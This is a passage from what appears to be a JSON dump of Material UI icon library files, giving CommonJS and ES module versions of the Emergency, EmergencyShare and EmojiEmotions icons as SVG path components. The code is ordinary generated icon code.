    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.29 8.37-1-1.73c-.28-.48-.89-.64-1.37-.37L14 8.54V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v4.54L6.07 6.27c-.48-.28-1.09-.11-1.36.36l-1 1.73c-.28.48-.12 1.1.36 1.37L8 12l-3.93 2.27c-.48.28-.64.89-.37 1.37l1 1.73c.28.48.89.64 1.37.37L10 15.46V20c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-4.54l3.93 2.27c.48.28 1.09.11 1.37-.37l1-1.73c.28-.48.11-1.09-.37-1.37L16 12l3.93-2.27c.48-.27.64-.89.36-1.36\"\n}), 'EmergencyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-3.15 0-6 2.41-6 6.15q0 3.735 6 8.85 6-5.115 6-8.85C18 11.41 15.15 9 12 9m0 7.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M12 4c1.93 0 3.68.78 4.95 2.05l-1.41 1.41C14.63 6.56 13.38 6 12 6s-2.63.56-3.54 1.46L7.05 6.05C8.32 4.78 10.07 4 12 4m7.78-.77-1.41 1.41C16.74 3.01 14.49 2 12.01 2S7.27 3.01 5.64 4.63L4.22 3.22C6.22 1.23 8.97 0 12.01 0s5.78 1.23 7.77 3.23\"\n}), 'EmergencyShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-3.15 0-6 2.41-6 6.15q0 3.735 6 8.85 6-5.115 6-8.85C18 11.41 15.15 9 12 9m0 7.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M12 4c1.93 0 3.68.78 4.95 2.05l-1.41 1.41C14.63 6.56 13.38 6 12 6s-2.63.56-3.54 1.46L7.05 6.05C8.32 4.78 10.07 4 12 4m7.78-.77-1.41 1.41C16.74 3.01 14.49 2 12.01 2S7.27 3.01 5.64 4.63L4.22 3.22C6.22 1.23 8.97 0 12.01 0s5.78 1.23 7.77 3.23\"\n}), 'EmergencyShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c1.93 0 3.68.78 4.95 2.05l-1.41 1.41C14.63 6.56 13.38 6 12 6s-2.63.56-3.54 1.46L7.05 6.05C8.32 4.78 10.07 4 12 4m7.78-.77-1.41 1.41C16.74 3.01 14.49 2 12.01 2S7.27 3.01 5.64 4.63L4.22 3.22C6.22 1.23 8.97 0 12.01 0s5.78 1.23 7.77 3.23M12 11c1.94 0 4 1.45 4 4.15 0 .94-.55 2.93-4 6.17-3.45-3.24-4-5.23-4-6.17 0-2.7 2.06-4.15 4-4.15m0-2c-3.15 0-6 2.41-6 6.15q0 3.735 6 8.85 6-5.115 6-8.85C18 11.41 15.15 9 12 9m1.5 6c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'EmergencyShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c1.93 0 3.68.78 4.95 2.05l-1.41 1.41C14.63 6.56 13.38 6 12 6s-2.63.56-3.54 1.46L7.05 6.05C8.32 4.78 10.07 4 12 4m7.78-.77-1.41 1.41C16.74 3.01 14.49 2 12.01 2S7.27 3.01 5.64 4.63L4.22 3.22C6.22 1.23 8.97 0 12.01 0s5.78 1.23 7.77 3.23M12 11c1.94 0 4 1.45 4 4.15 0 .94-.55 2.93-4 6.17-3.45-3.24-4-5.23-4-6.17 0-2.7 2.06-4.15 4-4.15m0-2c-3.15 0-6 2.41-6 6.15q0 3.735 6 8.85 6-5.115 6-8.85C18 11.41 15.15 9 12 9m1.5 6c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}), 'EmergencyShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-3.15 0-6 2.41-6 6.15 0 2.35 1.78 5.11 5.34 8.27.37.33.95.33 1.33 0C16.22 20.25 18 17.5 18 15.15 18 11.41 15.15 9 12 9m0 7.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.18-9.68c-.35.35-.89.38-1.3.09C14.07 6.34 13.07 6 12 6s-2.07.34-2.88.91c-.41.28-.95.26-1.3-.09-.43-.43-.39-1.15.09-1.5C9.06 4.49 10.48 4 12 4s2.94.49 4.09 1.32c.49.35.52 1.07.09 1.5M4.97 3.97c-.42-.43-.38-1.12.08-1.5C6.95.93 9.37 0 12.01 0s5.06.93 6.95 2.48c.46.38.5 1.07.08 1.49-.36.36-.93.39-1.32.07C16.16 2.77 14.17 2 12.01 2c-2.18 0-4.17.77-5.72 2.04-.39.32-.96.28-1.32-.07\"\n}), 'EmergencyShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-3.15 0-6 2.41-6 6.15 0 2.35 1.78 5.11 5.34 8.27.37.33.95.33 1.33 0C16.22 20.25 18 17.5 18 15.15 18 11.41 15.15 9 12 9m0 7.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.18-9.68c-.35.35-.89.38-1.3.09C14.07 6.34 13.07 6 12 6s-2.07.34-2.88.91c-.41.28-.95.26-1.3-.09-.43-.43-.39-1.15.09-1.5C9.06 4.49 10.48 4 12 4s2.94.49 4.09 1.32c.49.35.52 1.07.09 1.5M4.97 3.97c-.42-.43-.38-1.12.08-1.5C6.95.93 9.37 0 12.01 0s5.06.93 6.95 2.48c.46.38.5 1.07.08 1.49-.36.36-.93.39-1.32.07C16.16 2.77 14.17 2 12.01 2c-2.18 0-4.17.77-5.72 2.04-.39.32-.96.28-1.32-.07\"\n}), 'EmergencyShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-3.15 0-6 2.41-6 6.15q0 3.735 6 8.85 6-5.115 6-8.85C18 11.41 15.15 9 12 9m0 7.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M12 4c1.93 0 3.68.78 4.95 2.05l-1.41 1.41C14.63 6.56 13.38 6 12 6s-2.63.56-3.54 1.46L7.05 6.05C8.32 4.78 10.07 4 12 4m7.78-.77-1.41 1.41C16.74 3.01 14.49 2 12.01 2S7.27 3.01 5.64 4.63L4.22 3.22C6.22 1.23 8.97 0 12.01 0s5.78 1.23 7.77 3.23\"\n}), 'EmergencyShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-3.15 0-6 2.41-6 6.15q0 3.735 6 8.85 6-5.115 6-8.85C18 11.41 15.15 9 12 9m0 7.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M12 4c1.93 0 3.68.78 4.95 2.05l-1.41 1.41C14.63 6.56 13.38 6 12 6s-2.63.56-3.54 1.46L7.05 6.05C8.32 4.78 10.07 4 12 4m7.78-.77-1.41 1.41C16.74 3.01 14.49 2 12.01 2S7.27 3.01 5.64 4.63L4.22 3.22C6.22 1.23 8.97 0 12.01 0s5.78 1.23 7.77 3.23\"\n}), 'EmergencyShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c-1.94 0-4 1.45-4 4.15 0 .94.55 2.93 4 6.17 3.45-3.24 4-5.23 4-6.17 0-2.7-2.06-4.15-4-4.15m0 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c1.93 0 3.68.78 4.95 2.05l-1.41 1.41C14.63 6.56 13.38 6 12 6s-2.63.56-3.54 1.46L7.05 6.05C8.32 4.78 10.07 4 12 4m7.78-.77-1.41 1.41C16.74 3.01 14.49 2 12.01 2S7.27 3.01 5.64 4.63L4.22 3.22C6.22 1.23 8.97 0 12.01 0s5.78 1.23 7.77 3.23M12 11c1.94 0 4 1.45 4 4.15 0 .94-.55 2.93-4 6.17-3.45-3.24-4-5.23-4-6.17 0-2.7 2.06-4.15 4-4.15m0-2c-3.15 0-6 2.41-6 6.15q0 3.735 6 8.85 6-5.115 6-8.85C18 11.41 15.15 9 12 9m1.5 6c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}, \"1\")], 'EmergencyShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyShareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c-1.94 0-4 1.45-4 4.15 0 .94.55 2.93 4 6.17 3.45-3.24 4-5.23 4-6.17 0-2.7-2.06-4.15-4-4.15m0 5.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c1.93 0 3.68.78 4.95 2.05l-1.41 1.41C14.63 6.56 13.38 6 12 6s-2.63.56-3.54 1.46L7.05 6.05C8.32 4.78 10.07 4 12 4m7.78-.77-1.41 1.41C16.74 3.01 14.49 2 12.01 2S7.27 3.01 5.64 4.63L4.22 3.22C6.22 1.23 8.97 0 12.01 0s5.78 1.23 7.77 3.23M12 11c1.94 0 4 1.45 4 4.15 0 .94-.55 2.93-4 6.17-3.45-3.24-4-5.23-4-6.17 0-2.7 2.06-4.15 4-4.15m0-2c-3.15 0-6 2.41-6 6.15q0 3.735 6 8.85 6-5.115 6-8.85C18 11.41 15.15 9 12 9m1.5 6c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5.67 1.5 1.5 1.5 1.5-.67 1.5-1.5\"\n}, \"1\")], 'EmergencyShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.79 9.23-2-3.46L14 8.54V3h-4v5.54L5.21 5.77l-2 3.46L8 12l-4.79 2.77 2 3.46L10 15.46V21h4v-5.54l4.79 2.77 2-3.46L16 12z\"\n}), 'EmergencySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.79 9.23-2-3.46L14 8.54V3h-4v5.54L5.21 5.77l-2 3.46L8 12l-4.79 2.77 2 3.46L10 15.46V21h4v-5.54l4.79 2.77 2-3.46L16 12z\"\n}), 'EmergencySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.43 16.87-4.68-2.7c-.33-.2-.75.04-.75.43V20h-2v-5.4c0-.38-.42-.63-.75-.43l-4.68 2.7-1-1.73 4.68-2.7c.33-.19.33-.67 0-.87l-4.68-2.7 1-1.73 4.68 2.7c.33.19.75-.05.75-.44V4h2v5.4c0 .38.42.63.75.43l4.68-2.7 1 1.73-4.68 2.7c-.33.19-.33.67 0 .87l4.68 2.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.29 13.9 18 12l3.29-1.9c.48-.28.64-.89.37-1.37l-2-3.46c-.28-.48-.89-.64-1.37-.37L15 6.8V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3.8L5.71 4.9c-.48-.27-1.09-.11-1.37.37l-2 3.46c-.28.48-.11 1.09.37 1.37L6 12l-3.29 1.9c-.48.28-.64.89-.37 1.37l2 3.46c.28.48.89.64 1.37.37L9 17.2V21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3.8l3.29 1.9c.48.28 1.09.11 1.37-.37l2-3.46c.28-.48.11-1.09-.37-1.37m-2.86 2.97-4.68-2.7c-.33-.2-.75.04-.75.43V20h-2v-5.4c0-.38-.42-.63-.75-.43l-4.68 2.7-1-1.73 4.68-2.7c.33-.19.33-.67 0-.87l-4.68-2.7 1-1.73 4.68 2.7c.33.19.75-.05.75-.44V4h2v5.4c0 .38.42.63.75.43l4.68-2.7 1 1.73-4.68 2.7c-.33.19-.33.67 0 .87l4.68 2.7z\"\n}, \"1\")], 'EmergencyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmergencyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.43 16.87-4.68-2.7c-.33-.2-.75.04-.75.43V20h-2v-5.4c0-.38-.42-.63-.75-.43l-4.68 2.7-1-1.73 4.68-2.7c.33-.19.33-.67 0-.87l-4.68-2.7 1-1.73 4.68 2.7c.33.19.75-.05.75-.44V4h2v5.4c0 .38.42.63.75.43l4.68-2.7 1 1.73-4.68 2.7c-.33.19-.33.67 0 .87l4.68 2.7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.29 13.9 18 12l3.29-1.9c.48-.28.64-.89.37-1.37l-2-3.46c-.28-.48-.89-.64-1.37-.37L15 6.8V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3.8L5.71 4.9c-.48-.27-1.09-.11-1.37.37l-2 3.46c-.28.48-.11 1.09.37 1.37L6 12l-3.29 1.9c-.48.28-.64.89-.37 1.37l2 3.46c.28.48.89.64 1.37.37L9 17.2V21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-3.8l3.29 1.9c.48.28 1.09.11 1.37-.37l2-3.46c.28-.48.11-1.09-.37-1.37m-2.86 2.97-4.68-2.7c-.33-.2-.75.04-.75.43V20h-2v-5.4c0-.38-.42-.63-.75-.43l-4.68 2.7-1-1.73 4.68-2.7c.33-.19.33-.67 0-.87l-4.68-2.7 1-1.73 4.68 2.7c.33.19.75-.05.75-.44V4h2v5.4c0 .38.42.63.75.43l4.68-2.7 1 1.73-4.68 2.7c-.33.19-.33.67 0 .87l4.68 2.7z\"\n}, \"1\")], 'EmergencyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotions.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8M12 18c-2.28 0-4.22-1.66-5-4h10c-.78 2.34-2.72 4-5 4m3.5-7c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'EmojiEmotions');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotions.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8M12 18c-2.28 0-4.22-1.66-5-4h10c-.78 2.34-2.72 4-5 4m3.5-7c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'EmojiEmotions');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotionsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18c2.28 0 4.22-1.66 5-4H7c.78 2.34 2.72 4 5 4\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"3\")], 'EmojiEmotionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotionsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18c2.28 0 4.22-1.66 5-4H7c.78 2.34 2.72 4 5 4\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"3\")], 'EmojiEmotionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotionsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m8.21 6.72C15.8 16.67 14.04 18 12 18s-3.8-1.33-4.71-3.28c-.16-.33.08-.72.45-.72h8.52c.37 0 .61.39.45.72M15.5 11c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'EmojiEmotionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotionsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m8.21 6.72C15.8 16.67 14.04 18 12 18s-3.8-1.33-4.71-3.28c-.16-.33.08-.72.45-.72h8.52c.37 0 .61.39.45.72M15.5 11c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'EmojiEmotionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotionsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8M12 18c-2.28 0-4.22-1.66-5-4h10c-.78 2.34-2.72 4-5 4m3.5-7c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'EmojiEmotionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotionsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8M12 18c-2.28 0-4.22-1.66-5-4h10c-.78 2.34-2.72 4-5 4m3.5-7c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'EmojiEmotionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotionsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8 8-3.58 8-8M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8M12 18c-2.28 0-4.22-1.66-5-4h10c-.78 2.34-2.72 4-5 4m3.5-7c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18c2.28 0 4.22-1.66 5-4H7c.78 2.34 2.72 4 5 4\"\n}, \"4\")], 'EmojiEmotionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiEmotionsTwoTone.mjs",
